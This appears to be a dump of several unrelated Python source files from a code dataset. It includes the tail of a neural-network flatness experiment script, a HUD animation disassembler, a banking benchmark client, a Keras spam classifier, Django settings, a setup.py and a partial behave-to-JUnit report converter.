test_error_epoch = last_errors\n print(f'train_loss_epoch={train_loss_epoch} \\ntrain_error_epoch={train_error_epoch} \\ntest_loss_epoch={test_loss_epoch} \\ntest_error_epoch={test_error_epoch}')\n elif args.train_alg == 'pert':\n ''' batch sizes '''\n batch_size_train, batch_size_test = 50*10**3, 10*10**3\n ''' number of repetitions '''\n nb_perturbation_trials = nb_epochs\n ''' noise level '''\n nb_layers = len(list(net.parameters()))\n noise_level = args.noise_level\n perturbation_magnitudes = nb_layers*[noise_level]\n print(f'noise_level={noise_level}')\n ''' locate where to save it '''\n folder_name_noise = f'noise_{perturbation_magnitudes[0]}'\n expt_path = os.path.join(expt_path,folder_name_noise)\n matlab_file_name = f'noise_{perturbation_magnitudes}_{matlab_file_name}'\n ## TODO collect by perburbing current model X number of times with current perturbation_magnitudes\n use_w_norm2 = args.not_pert_w_norm2\n train_loss,train_error,test_loss,test_error = get_errors_for_all_perturbations(net,perturbation_magnitudes,use_w_norm2,device,nb_perturbation_trials,stats_collector,criterion,error_criterion,trainloader,testloader)\n print(f'noise_level={noise_level},train_loss,train_error,test_loss,test_error={train_loss},{train_error},{test_loss},{test_error}')\n other_stats = dict({'perturbation_magnitudes':perturbation_magnitudes}, **other_stats)\n elif args.train_alg == 'interpolate':\n ''' prints stats before interpolation'''\n print_evaluation_of_nets(net_nl, net_rlnl, criterion, error_criterion, trainloader, testloader, device, iterations)\n ''' do interpolation of nets'''\n nb_interpolations = nb_epochs\n interpolations = np.linspace(0,1,nb_interpolations)\n get_landscapes_stats_between_nets(net_nl,net_rlnl,interpolations, device,stats_collector,criterion,error_criterion,trainloader,testloader,iterations)\n ''' print stats of the net '''\n other_stats = dict({'interpolations':interpolations},**other_stats)\n #print_evaluation_of_nets(net_nl, net_rlnl, criterion, error_criterion, trainloader, testloader, device, iterations)\n elif args.train_alg == 'brando_chiyuan_radius_inter':\n r_large = args.r_large ## check if this number is good\n nb_radius_samples = nb_epochs\n interpolations = np.linspace(0,1,nb_radius_samples)\n expt_path = os.path.join(expt_path+f'_RLarge_{r_large}')\n ''' '''\n nb_dirs = args.nb_dirs\n stats_collector = StatsCollector(net,nb_dirs,nb_epochs)\n get_all_radius_errors_loss_list_interpolate(nb_dirs,net,r_large,interpolations,device,stats_collector,criterion,error_criterion,trainloader,testloader,iterations)\n other_stats = dict({'nb_dirs':nb_dirs,'interpolations':interpolations,'nb_radius_samples':nb_radius_samples,'r_large':r_large},**other_stats)\n elif args.train_alg == 'sharpness':\n ''' load the data set '''\n print('About to load the data set')\n shuffle_train = True\n #batch_size = 2**10\n batch_size = 2**5\n batch_size_train, batch_size_test = batch_size, batch_size\n iterations = inf # controls how many epochs to stop before returning the data set error\n #eps = 2500/50000\n eps = 1 / 50000\n other_stats = dict({'iterations':iterations,'eps':eps},**other_stats)\n trainset,trainloader = data_class.load_only_train(path_adverserial_data,eps,batch_size_train,shuffle_train,num_workers)\n ''' three musketeers '''\n print('Preparing the three musketeers')\n net_pert = copy.deepcopy(net)\n #nn_mdls.reset_parameters(net_pert)\n net_original = dont_train(net)\n #net_original = net\n initialize_to_zero(net_original)\n debug=False\n if debug:\n ## conv params\n nb_conv_layers=3\n Fs = [24]*nb_conv_layers\n Ks = [5]*nb_conv_layers\n ## fc params\n FCs = [len(classes)]\n CHW = (3,32,32)\n net_pert = nn_mdls.GBoixNet(CHW,Fs,Ks,FCs,do_bn).to(device)\n print('Musketeers are prepared')\n ''' optimizer + criterion stuff '''\n optimizer = optim.SGD(net_pert.parameters(), lr=lr, momentum=momentum)\n #optimizer = optim.Adam(net_pert.parameters(), lr=lr)\n error_criterion = metrics.error_criterion\n criterion = torch.nn.CrossEntropyLoss()\n #criterion = torch.nn.MultiMarginLoss()\n #criterion = torch.nn.MultiLabelMarginLoss()\n ''' Landscape Inspector '''\n save_all_learning_curves = True\n save_all_perts = False\n nb_lambdas = 1\n lambdas = np.linspace(1,10,nb_lambdas)\n print('Do Sharpness expt!')\n sharpness_inspector = LandscapeInspector(net_original,net_pert, nb_epochs,iterations, trainloader,testloader, optimizer,\n criterion,error_criterion, device, lambdas,save_all_learning_curves=save_all_learning_curves,save_all_perts=save_all_perts)\n sharpness_inspector.do_sharpness_experiment()\n elif args.train_alg == 'flatness_bs':\n ''' BS params '''\n r_initial = 50\n epsilon = args.epsilon ## check if this number is good\n # nb_radius_samples = nb_epochs could use this number as a cap of # iterations of BS\n expt_path = os.path.join(expt_path+f'_BS')\n ''' Do BS '''\n precision = 0.001\n nb_dirs = args.nb_dirs\n # stats_collector = StatsCollector(net,nb_dirs,nb_epochs) TODO\n rand_inspector = RandLandscapeInspector(epsilon,net,r_initial,device,criterion,error_criterion,trainloader,testloader,iterations)\n rand_inspector.get_faltness_radii_for_isotropic_directions(nb_dirs=nb_dirs,precision=precision)\n other_stats = dict({'nb_dirs':nb_dirs,'flatness_radii':rand_inspector.flatness_radii},**other_stats)\n elif args.train_alg == 'evaluate_nets':\n plot = False\n print('')\n iterations = inf\n print(f'W_nl = {W_nl}')\n print(f'W_rlnl = {W_rlnl}')\n ''' train errors '''\n loss_nl_train, error_nl_train = evalaute_mdl_data_set(criterion, error_criterion, net_nl, trainloader, device, iterations)\n loss_rlnl_train, error_rlnl_train = evalaute_mdl_data_set(criterion,error_criterion,net_rlnl,trainloader,device,iterations)\n print(f'loss_nl_train, error_nl_train = {loss_nl_train, error_nl_train}')\n print(f'loss_rlnl_train, error_rlnl_train = {loss_rlnl_train, error_rlnl_train}')\n ''' test errors '''\n loss_nl_test, error_nl_test = evalaute_mdl_data_set(criterion, error_criterion, net_nl, testloader, device, iterations)\n loss_rlnl_test, error_rlnl_test = evalaute_mdl_data_set(criterion,error_criterion,net_rlnl,testloader,device,iterations)\n print(f'loss_nl_test, error_nl_test = {loss_nl_test, error_nl_test}')\n print(f'loss_rlnl_test, error_rlnl_test = {loss_rlnl_test, error_rlnl_test}')\n ''' '''\n store_results = False\n store_net = False\n # elif args.train_alg == 'reach_target_loss':\n # iterations = inf\n # precision = 0.00001\n # ''' set target loss '''\n # loss_rlnl_train, error_rlnl_train = evalaute_mdl_data_set(criterion, error_criterion, net_rlnl, trainloader,device, iterations)\n # target_train_loss = loss_rlnl_train\n # ''' do SGD '''\n # trainer = Trainer(trainloader,testloader, optimizer,criterion,error_criterion, stats_collector, device)\n # last_errors = trainer.train_and_track_stats(net,nb_epochs,iterations=iterations,target_train_loss=target_train_loss,precision=precision)\n # ''' Test the Network on the test data '''\n # train_loss_epoch, train_error_epoch, test_loss_epoch, test_error_epoch = last_errors\n # print(f'train_loss_epoch={train_loss_epoch} train_error_epoch={train_error_epoch}')\n # print(f'test_loss_epoch={test_loss_epoch} test_error_epoch={test_error_epoch}')\n # st()\n elif args.train_alg == 'no_train':\n print('NO TRAIN BRANCH')\n print(f'expt_path={expt_path}')\n utils.make_and_check_dir(expt_path)\n ''' save times '''\n seconds_training, minutes_training, hours_training = utils.report_times(training_time,meta_str='training')\n other_stats = dict({'seconds_training': seconds_training, 'minutes_training': minutes_training, 'hours_training': hours_training}, **other_stats)\n seconds, minutes, hours = seconds_training+seconds_setup, minutes_training+minutes_setup, hours_training+hours_setup\n other_stats = dict({'seconds':seconds,'minutes':minutes,'hours':hours}, **other_stats)\n print(f'nb_epochs = {nb_epochs}')\n print(f'Finished Training, hours={hours}')\n print(f'seed = {seed}, githash = {githash}')\n ''' save results from experiment '''\n store_results = not args.dont_save_expt_results\n print(f'ALL other_stats={other_stats}')\n if store_results:\n print(f'storing results!')\n matlab_path_to_filename = os.path.join(expt_path,matlab_file_name)\n save2matlab.save2matlab_flatness_expt(matlab_path_to_filename, stats_collector,other_stats=other_stats)\n ''' save net model '''\n if store_net:\n print(f'saving final net mdl!')\n net_path_to_filename = os.path.join(expt_path,net_file_name)\n torch.save(net,net_path_to_filename)\n ''' check the error of net saved '''\n loss_original, error_original = evalaute_mdl_data_set(criterion, error_criterion, net, trainloader,device)\n restored_net = utils.restore_entire_mdl(net_path_to_filename)\n loss_restored,error_restored = evalaute_mdl_data_set(criterion,error_criterion,restored_net,trainloader,device)\n print()\n print(f'net_path_to_filename = {net_path_to_filename}')\n print(f'loss_original={loss_original},error_original={error_original}\\a')\n print(f'loss_restored={loss_restored},error_restored={error_restored}\\a')\n ''' send e-mail '''\n if hostname == 'polestar' or args.email:\n message = f'SLURM Job_id=MANUAL Name=flatness_expts.py Ended, ' \\\n f'Total Run time hours:{hours},minutes:{minutes},seconds:{seconds} COMPLETED, ExitCode [0-0]'\n utils.send_email(message,destination='brando90@mit.edu')\n ''' plot '''\n if sj == 0 and plot:\n #TODO\n plot_utils.plot_loss_and_accuracies(stats_collector)\n plt.show()\n\ndef check_order_data(trainloader):\n for i,data_train in enumerate(trainloader):\n if i==0:\n print(i)\n st()\n #print(data_train)\n for i,data_train in enumerate(trainloader):\n if i==3:\n print(i)\n #print(data_train)\n\nif __name__ == '__main__':\n main()\n print('\\a\\a')","sub_path":"pytorch_experiments/flatness_expts.py","file_name":"flatness_expts.py","file_ext":"py","file_size_in_byte":44825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"490812127","text":"'''\nUsing a argpars\n'''\n\nimport argparse\n\ndef main():\n '''\n main()\n '''\n parser = argparse.ArgumentParser(description='A description of the program')\n\n # args requiring a value\n parser.add_argument('--input', help='path to thing to read', type=str, required=True)\n parser.add_argument('--output', help='path to thing to create', type=str)\n parser.add_argument('--count', help='using a int as command line arg', type=int)\n\n # arg without a value just for turning a flag on\n parser.add_argument('--flag', help='flag which can turn option on', action='store_true',\n default=False)\n args = parser.parse_args()\n\n print(args)\n\n # Get the input value\n if args.input:\n print('Got input file of %s' % args.input)\n\n # Get the output value\n if args.output:\n print('Got output file of %s' % args.output)\n\n # Get the count integer val\n if args.count:\n print('count is a %s' % type(args.count))\n print('count is %d' % args.count)\n\n # The boolean flag\n print(\"flag is %r\" % args.flag)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"cmdline-args/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1120,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"615601065","text":"#! /usr/bin/python3\n\nimport struct\n\ndef fmt_size(val):\n if val == 0:\n return 'HUD_ELEMENT_SIZE_8x8'\n elif val == 1:\n return 'HUD_ELEMENT_SIZE_16x16'\n elif val == 2:\n return 'HUD_ELEMENT_SIZE_24x24'\n elif val == 3:\n return 'HUD_ELEMENT_SIZE_32x32'\n elif val == 4:\n return 'HUD_ELEMENT_SIZE_48x48'\n elif val == 5:\n return 'HUD_ELEMENT_SIZE_64x64'\n elif val == 6:\n return 'HUD_ELEMENT_SIZE_8x16'\n elif val == 7:\n return 'HUD_ELEMENT_SIZE_16x8'\n elif val == 8:\n return 'HUD_ELEMENT_SIZE_16x24'\n elif val == 9:\n return 'HUD_ELEMENT_SIZE_16x32'\n elif val == 10:\n return 'HUD_ELEMENT_SIZE_64x32'\n elif val == 11:\n return 'HUD_ELEMENT_SIZE_32x16'\n elif val == 12:\n return 'HUD_ELEMENT_SIZE_12x12'\n elif val == 13:\n return 'HUD_ELEMENT_SIZE_48x24'\n elif val == 14:\n return 'HUD_ELEMENT_SIZE_32x8'\n elif val == 15:\n return 'HUD_ELEMENT_SIZE_24x8'\n elif val == 16:\n return 'HUD_ELEMENT_SIZE_64x16'\n elif val == 17:\n return 'HUD_ELEMENT_SIZE_16x64'\n elif val == 18:\n return 'HUD_ELEMENT_SIZE_192x32'\n elif val == 19:\n return 'HUD_ELEMENT_SIZE_40x40'\n elif val == 20:\n return 'HUD_ELEMENT_SIZE_24x16'\n elif val == 21:\n return 'HUD_ELEMENT_SIZE_32x40'\n elif val == 22:\n return 'HUD_ELEMENT_SIZE_40x16'\n elif val == 23:\n return 'HUD_ELEMENT_SIZE_40x24'\n elif val == 24:\n return 'HUD_ELEMENT_SIZE_32x24'\n else:\n return val\n\nclass HudElementScript():\n def __init__(self, symbol):\n self.symbol = symbol\n self.buffer = []\n\n def feed(self, word):\n self.buffer.append(word)\n\n def print(self):\n buf = iter(self.buffer)\n indent = \" \"\n op = 99\n\n print(f\"HudElementAnim {self.symbol} = {{\")\n\n while op:\n op = next(buf, -1)\n if op == -1:\n break\n\n if op == 0x00:\n print(f\"{indent}he_End,\")\n elif op == 0x01:\n print(f\"{indent}he_SetRGBA({next(buf)}, {next(buf)}, {next(buf)}),\")\n elif op == 0x02:\n print(f\"{indent}he_SetCI({next(buf)}, {next(buf)}, {next(buf)}),\")\n elif op == 0x03:\n indent = indent[4:]\n print(f\"{indent}he_Restart,\")\n elif op == 0x04:\n print(f\"{indent}he_Loop,\")\n indent = indent + \" \"\n elif op == 0x05:\n print(f\"{indent}he_SetTileSize({fmt_size(next(buf))}),\")\n elif op == 0x06:\n print(f\"{indent}he_SetSizesAutoScale({fmt_size(next(buf))}, {fmt_size(next(buf))}),\")\n elif op == 0x07:\n print(f\"{indent}he_SetSizesFixedScale({fmt_size(next(buf))}, {fmt_size(next(buf))}),\")\n elif op == 0x08:\n print(f\"{indent}he_SetVisible,\")\n elif op == 0x09:\n print(f\"{indent}he_SetHidden,\")\n elif op == 0x0A:\n print(f\"{indent}he_AddTexelOffsetX({next(buf)}),\")\n elif op == 0x0B:\n print(f\"{indent}he_AddTexelOffsetY({next(buf)}),\")\n elif op == 0x0C:\n print(f\"{indent}he_AddTexelOffset({next(buf)}, {next(buf)}),\")\n elif op == 0x0D:\n print(f\"{indent}he_SetImage({next(buf)}, {next(buf)}, {next(buf)}, {next(buf)}, {next(buf)}),\")\n elif op == 0x0E:\n print(f\"{indent}he_SetScale({next(buf)}),\")\n elif op == 0x0F:\n print(f\"{indent}he_SetAlpha({next(buf)}),\")\n elif op == 0x10:\n print(f\"{indent}he_RandomDelay({next(buf)}, {next(buf)}),\")\n elif op == 0x11:\n print(f\"{indent}he_Delete,\")\n elif op == 0x12:\n print(f\"{indent}he_UseIA8,\")\n elif op == 0x13:\n print(f\"{indent}he_SetCustomSize({next(buf)}, {next(buf)}),\")\n elif op == 0x14:\n print(f\"{indent}he_RandomRestart({next(buf)}, {next(buf)}),\")\n elif op == 0x15:\n print(f\"{indent}he_op_15({next(buf)}),\")\n elif op == 0x17:\n count = next(buf)\n args = []\n for i in range(count):\n args.append(next(buf))\n print(f\"{indent}he_RandomBranch({', '.join(args)}),\")\n elif op == 0x18:\n print(f\"{indent}he_SetFlags({next(buf)}),\")\n elif op == 0x19:\n print(f\"{indent}he_ClearFlags({next(buf)}),\")\n elif op == 0x1A:\n print(f\"{indent}he_PlaySound({next(buf)}),\")\n elif op == 0x1B:\n print(f\"{indent}he_op_1B({next(buf)}),\")\n else:\n print(f\"{indent}{op},\")\n\n print(\"};\\n\")\n\nif __name__ == \"__main__\":\n import argparse\n\n parser = argparse.ArgumentParser()\n parser.add_argument(\"file\", type=str, help=\".data.s file to dissassemble\")\n\n args = parser.parse_args()\n\n with open(args.file, \"r\") as f:\n lines = f.readlines()\n current_script = None\n\n for line in lines:\n line = line.strip()\n\n if line.startswith(\"glabel\"):\n if current_script:\n current_script.print()\n\n current_script = HudElementScript(line.split(\" \")[1])\n elif line.startswith(\".word\"):\n words = line[6:].split(\", \")\n\n for word in words:\n try:\n word = int(word, base=0)\n\n if word > 0x8000000:\n word = f\"0x{word:X}\"\n else:\n word, = struct.unpack(\">i\", struct.pack(\">I\", word))\n print(word)\n except ValueError:\n pass\n\n current_script.feed(word)\n\n if current_script:\n current_script.print()\n","sub_path":"tools/disasm_hud_element_animation.py","file_name":"disasm_hud_element_animation.py","file_ext":"py","file_size_in_byte":6044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"98493025","text":"import argparse\nimport capnp\nimport crypto_banking_capnp\nimport time\nimport secrets\nimport random\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(\n usage='[eg] python crypto_banking_client.py 127.0.0.1:5000'\n )\n parser.add_argument('host', help='HOST:PORT')\n return parser.parse_args()\n\n\ndef main(host):\n client = capnp.TwoPartyClient(host)\n crypto_banking = client.bootstrap().cast_as(\n crypto_banking_capnp.CryptoBanking\n )\n\n accounts = ['0x' + secrets.token_hex(32) for _ in range(10000)]\n\n before = time.time()\n for account_id in accounts:\n crypto_banking.createAccount(account_id, 50)\n after = time.time()\n print('Creating 10,000 accounts: %s secs' % (after - before))\n\n pairs = [\n (random.randint(0, 10000 - 1), random.randint(0, 10000 - 1))\n for _ in range(10000)\n ]\n before = time.time()\n for source, destination in pairs:\n crypto_banking.transferFunds(\n accounts[source],\n accounts[destination],\n 5\n )\n after = time.time()\n print('10,000 transfer transactions: %s secs' % (after - before))\n\n for account_id in accounts:\n crypto_banking.deleteAccount(account_id)\n after = time.time()\n print('Deleting 10,000 accounts: %s secs' % (after - before))\n\n\nif __name__ == '__main__':\n main(parse_args().host)\n","sub_path":"benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":1370,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"196183464","text":"from sklearn.model_selection import train_test_split\nfrom utils import load_spam_data\n\nfrom keras import optimizers,backend\nimport json\nfrom keras.layers import Dense,Dropout,Embedding,Input,BatchNormalization,Conv1D,GlobalMaxPooling1D,Concatenate\nfrom keras.models import Model\nfrom keras.callbacks import EarlyStopping, ModelCheckpoint\nimport tensorflow as tf\nfrom keras import backend as K\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import confusion_matrix\nimport time\n\n\nprint('Loading data')\nx, y, vocabulary, vocabulary_inv,labels = load_spam_data()\nprint('shape of the X is : ',x.shape[1])\nX_train, X_test, y_train, y_test = train_test_split(x, y, test_size=0.2, random_state=42)\n\nsequence_length = x.shape[1]\nvocabulary_size = len(vocabulary_inv)\nembedding_dim = 256\nfilter_sizes = [3,4,5]\nnum_filters = 512\ndrop = 0.5\nepochs = 3\nbatch_size = 64\nweights_path = 'spam_cnn.h5'\n\nindex = {\n 'word_to_id': vocabulary,\n 'labels': labels,\n 'shape':sequence_length\n}\n# may have to store the shape : x.shape[1]\n\nwith open('index.json', 'w') as f:\n f.write(json.dumps(index))\n\n\n# this returns a tensor\nprint(\"Creating Model...\")\n# TextCNN Model\n\n\ndef create_model():\n inputs = Input(shape=(sequence_length,), dtype='int32')\n embed = Embedding(input_dim=vocabulary_size, output_dim=embedding_dim, input_length=sequence_length)(inputs)\n conv_3 = Conv1D(filters=256, kernel_size=filter_sizes[0], padding=\"valid\", activation=\"relu\", strides=1)(embed)\n conv_4 = Conv1D(filters=256, kernel_size=filter_sizes[1], padding=\"valid\", activation=\"relu\", strides=1)(embed)\n conv_5 = Conv1D(filters=256, kernel_size=filter_sizes[2], padding=\"valid\", activation=\"relu\", strides=1)(embed)\n pool_3 = GlobalMaxPooling1D()(conv_3)\n pool_4 = GlobalMaxPooling1D()(conv_4)\n pool_5 = GlobalMaxPooling1D()(conv_5)\n cat = Concatenate()([pool_3, pool_4, pool_5])\n output = Dropout(0.25)(cat)\n dense1 = Dense(256, activation='relu')(output)\n bn = BatchNormalization()(dense1)\n output = Dense(units=y_train.shape[1], activation='softmax')(bn)\n print(y_train.shape[1])\n model = Model(inputs=inputs, outputs=output)\n model.save_weights('spam_cnn.h5', overwrite=True)\n return model\n\n\ndef evaluation(model, X_test, y_test):\n y_pred = model.predict(X_test)\n y_pred = [int(i[1] + 0.5) for i in y_pred]\n target_names = ['class ' + str(i) for i in range(0, y_train.shape[1])]\n y_test = y_test.tolist()\n y_test = [i.index(1.0) for i in y_test]\n print(classification_report(y_test, y_pred, target_names=target_names))\n print('\\n')\n print(confusion_matrix(y_test, y_pred))\n\n\ndef train():\n \"\"\" GPU parameter \"\"\"\n with tf.device('/gpu:0'):\n gpu_options = tf.GPUOptions(per_process_gpu_memory_fraction=1, allow_growth=True)\n tf.Session(config=tf.ConfigProto(allow_soft_placement=True,\n log_device_placement=True,\n gpu_options=gpu_options))\n model = create_model()\n model.compile(optimizer=optimizers.Adam(amsgrad=True),\n loss='categorical_crossentropy',\n metrics=['accuracy'])\n\n print('Model Summary : ', model.summary())\n callbacks = [EarlyStopping(monitor='val_loss', patience=2, verbose=0),\n ModelCheckpoint(weights_path, monitor='val_acc', verbose=1, save_best_only=True, mode='max')\n ]\n print(\"training started...\")\n tic = time.process_time()\n model.fit(X_train,\n y_train,\n batch_size=batch_size,\n epochs=epochs,\n validation_data=(X_test, y_test),\n shuffle=1,\n callbacks=callbacks)\n toc = time.process_time()\n print(\"training ended...\")\n print(\" ----- total Computation time = \" + str((toc - tic) / 3600) + \" hours ------ \")\n backend.set_learning_phase(0)\n sess = backend.get_session()\n builder = tf.saved_model.builder.SavedModelBuilder(\"./model\")\n builder.add_meta_graph_and_variables(sess, [tf.saved_model.tag_constants.SERVING])\n builder.save(False)\n evaluation(model, X_test, y_test)\n\n\ndef load_model(weights_path):\n print(\"load model...\")\n model = create_model()\n model.load_weights(weights_path)\n return model\n\n\nif __name__ == \"__main__\":\n train()\n K.clear_session()\n tf.reset_default_graph()\n\n\n","sub_path":"spam_model.py","file_name":"spam_model.py","file_ext":"py","file_size_in_byte":4494,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"13203516","text":"DEBUG = True\n# DEBUG = False\n\nimport os, socket\nimport sys\n\nRUNNING_DEVSERVER = (len(sys.argv) > 1 and sys.argv[1] == 'runserver')\n\ndef show_toolbar(request):\n return request.user.username == \"root\"\n\nDEBUG_TOOLBAR_CONFIG = {\n 'SHOW_TOOLBAR_CALLBACK': 'myproject.settings.show_toolbar',\n # 'SHOW_TOOLBAR_CALLBACK': lambda r: False,\n}\n\nPROJEKT_PFAD = os.path.abspath(os.path.dirname(__name__))\n\ndefault_keys = {'SECRET_KEY': 'cfez9c869x6xc2c34de2d7d2b9z7kcc4'}\nuse_keys = default_keys\nSECRET_KEY = use_keys['SECRET_KEY']\n\nDJ_PROJECT_DIR = os.path.dirname(__file__)\nBASE_DIR = os.path.dirname(DJ_PROJECT_DIR)\n\n\n# TIME_ZONE = 'UTC'\nTIME_ZONE = 'Europe/Berlin'\nUSE_TZ = True\n\nLOGIN_REDIRECT_URL='/'\n\nugettext = lambda s: s\n\nLANGUAGES = (\n\n ('de', ugettext('deutsch')),\n ('en', ugettext('englisch')),\n)\n\n# MODELTRANSLATION_AUTO_POPULATE=True\n\n\n# LANGUAGE_CODE='de'\n\nEMAIL_USE_TLS = True\nEMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'\nEMAIL_HOST = 'smtp.gmail.com'\nEMAIL_HOST_PASSWORD = os.environ['pass']\nEMAIL_HOST_USER = os.environ['user']\nEMAIL_PORT = 587\nDEFAULT_FROM_EMAIL = EMAIL_HOST_USER\n\n\nALLOWED_HOSTS = [\n'*', # First DNS alias (set up in the app)\n]\n\nINSTALLED_APPS = (\n\n'modeltranslation',\n'dal',\n'django.contrib.admin',\n\n'django.contrib.sites',\n\n\n'dal_select2',\n\n'django.contrib.auth',\n'django.contrib.contenttypes',\n'django.contrib.sessions',\n'django.contrib.messages',\n'django.contrib.staticfiles',\n'django.contrib.humanize',\n\n'debug_toolbar',\n\n'adminsortable2',\n\n'django_extensions',\n'django_user_agents',\n\n'app1'\n)\n\nSTATICFILES_FINDERS=[\n'django.contrib.staticfiles.finders.AppDirectoriesFinder'\n]\n\nAUTHENTICATION_BACKENDS = (\n'django.contrib.auth.backends.ModelBackend',\n\n)\n\nMIDDLEWARE_CLASSES = (\n\n'django.contrib.sessions.middleware.SessionMiddleware',\n'django.middleware.locale.LocaleMiddleware',\n'django.middleware.common.CommonMiddleware',\n'django.middleware.csrf.CsrfViewMiddleware',\n'django.contrib.auth.middleware.AuthenticationMiddleware',\n\n'debug_panel.middleware.DebugPanelMiddleware',\n\n'django_user_agents.middleware.UserAgentMiddleware',\n\n'django.contrib.messages.middleware.MessageMiddleware',\n'django.middleware.clickjacking.XFrameOptionsMiddleware',\n\n)\n\nROOT_URLCONF = 'myproject.urls'\n\nTEMPLATES = [\n{\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, 'templates'),\n # 'C:\\\\cygwin64\\\\home\\\\itdlz-koer\\\\django'\n ],\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n \"django.template.context_processors.i18n\",\n 'django_settings_export.settings_export',\n\n ],\n 'loaders':[\n 'admin_tools.template_loaders.Loader',\n 'django.template.loaders.filesystem.Loader',\n 'django.template.loaders.app_directories.Loader',\n\n ]\n },\n},\n]\n\nWSGI_APPLICATION = 'myproject.wsgi.application'\n\nHOS_SO = socket.gethostname()\n\nSETTINGS_EXPORT = [\n'HOS_SO',\n]\n\nLOGGING = {\n 'version': 1,\n 'formatters': {\n 'standard': {\n 'format': \"[%(asctime)s] %(levelname)s [%(name)s:%(lineno)s] %(message)s\",\n 'datefmt': \"%d/%b/%Y %H:%M:%S\"\n },\n },\n 'handlers': {\n\n 'logfile': {\n 'level': 'DEBUG',\n 'class': 'logging.handlers.RotatingFileHandler',\n 'filename': BASE_DIR + \"/logfile\",\n 'maxBytes': 50000,\n 'backupCount': 2,\n 'formatter': 'standard',\n },\n 'console': {\n 'level': 'INFO',\n 'class': 'logging.StreamHandler',\n 'formatter': 'standard'\n },\n },\n 'loggers': {\n 'django': {\n 'handlers': ['console'],\n 'propagate': True,\n 'level': 'WARN',\n },\n 'django.db.backends': {\n 'handlers': ['console'],\n 'level': 'DEBUG',\n 'propagate': False,\n },\n 'app1': {\n 'handlers': ['console', 'logfile'],\n 'level': 'DEBUG',\n },\n }\n}\n\n\nDATABASES = {\n'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': 'd',\n 'USER': 'pi',\n 'PASSWORD': '',\n 'HOST': 'localhost',\n 'PORT': '3306',\n 'OPTIONS': {\n 'sql_mode': 'traditional',\n }\n}\n}\n\nUSE_I18N = True\n\nLOCALE_PATHS = (\nos.path.join(BASE_DIR, 'locale'),\n# '/home/tk/django/locale',\n)\n\nUSE_L10N = True\n\nSTATIC_URL = '/static/'\n\nMEDIA_URL = '/media/'\n\nSTATIC_ROOT = os.path.join(BASE_DIR, 'stat')\n# STATICFILES_DIRS =[os.path.join(BASE_DIR,'static')]\n\nMEDIA_ROOT = os.path.join(BASE_DIR, 'media')\n\nSITE_ID = 1\n\ntry:\n from .local_settings import *\nexcept ImportError:\n pass\n","sub_path":"myproject/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":4881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"234895045","text":"import io\nfrom setuptools import find_packages, setup\n\n\n# Read in the README for the long description of PyPI\ndef long_description():\n with io.open('README.rst', 'r', encoding='utf-8') as f:\n readme = f.read()\n return readme\n\nsetup(\n name='dash2json',\n version='0.1',\n description='Convert DASH to manifest.json',\n long_description=long_description(),\n url='https://github.com/Byungwan/snippets/dash2json',\n author='Byungwan Jun',\n author_email='byungwan.jun@inisoft.co.kr',\n license='MIT',\n packages=find_packages(exclude=['tests']),\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'Topic :: Multimedia :: Video',\n 'License :: OSI Approved :: MIT License',\n 'Programming Language :: Python :: 3.5',\n 'Programming Language :: Python :: 3.6',\n ],\n zip_safe=False,\n install_requires=[],\n # pytest-runner 4.0 has a fatal bug:\n # https://github.com/pytest-dev/pytest-runner/issues/39\n setup_requires=['pytest-runner<4'],\n tests_require=['pytest'])\n","sub_path":"dash2json/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"50614305","text":"import codecs\nimport json\nfrom string import Template\nimport os\n\n\ndef failures_in_feature(feature):\n return len([scenario for scenario in feature['elements'] if scenario_failed(scenario)])\n\n\ndef scenario_failed(scenario):\n try:\n return len([step for step in scenario['steps'] if ('result' in step.keys() and step['result']['status'] != 'passed')]) > 0\n except KeyError:\n return False\n\n\ndef scenario_status(scenario):\n if scenario_failed(scenario):\n return 'failed'\n elif scenario_skipped(scenario):\n return 'skipped'\n else:\n return 'passed'\n\n\ndef scenario_time(scenario):\n try:\n return sum([step['result']['duration'] for step in scenario['steps'] if 'result' in step.keys()]) / 10 ** 9 # nanosecs\n except KeyError:\n return 0\n\n\ndef skipped_scenarios(feature):\n return len([scenario for scenario in feature['elements'] if scenario_skipped(scenario)])\n\n\ndef scenario_skipped(scenario):\n try:\n return len([step for step in scenario['steps'] if 'result' not in step.keys()]) == len(scenario['steps'])\n except KeyError:\n return True\n\n\ndef convert_scenario(scenario):\n # <testcase classname=\"proscreening.Proscreening\" name=\"Log in to proscreening site\" status=\"passed\" time=\"3.762109\">\n return Template('<testcase classname=\"{classname}\" name=\"${name}\" status=\"${status}\" time=\"${time}\"></testcase>').substitute(name=scenario['name'], status=scenario_status(scenario), time=scenario_time(scenario))\n\n\ndef write_report(feature):\n # <testsuite errors=\"0\" failures=\"0\" name=\"dashboard_projects.Dashboard project widget\" skipped=\"0\" tests=\"3\" time=\"19.551705\">\n try:\n scenarios = feature['elements']\n except KeyError:\n return\n failures = failures_in_feature(feature)\n time = sum([scenario_time(scenario) for scenario in scenarios])\n skipped = skipped_scenarios(feature)\n report = codecs.open('../reports/TEST-{name}.xml'.format(name=feature['name']), 'w', 'utf-8')\n report.write('<?xml version=\"1.0\" 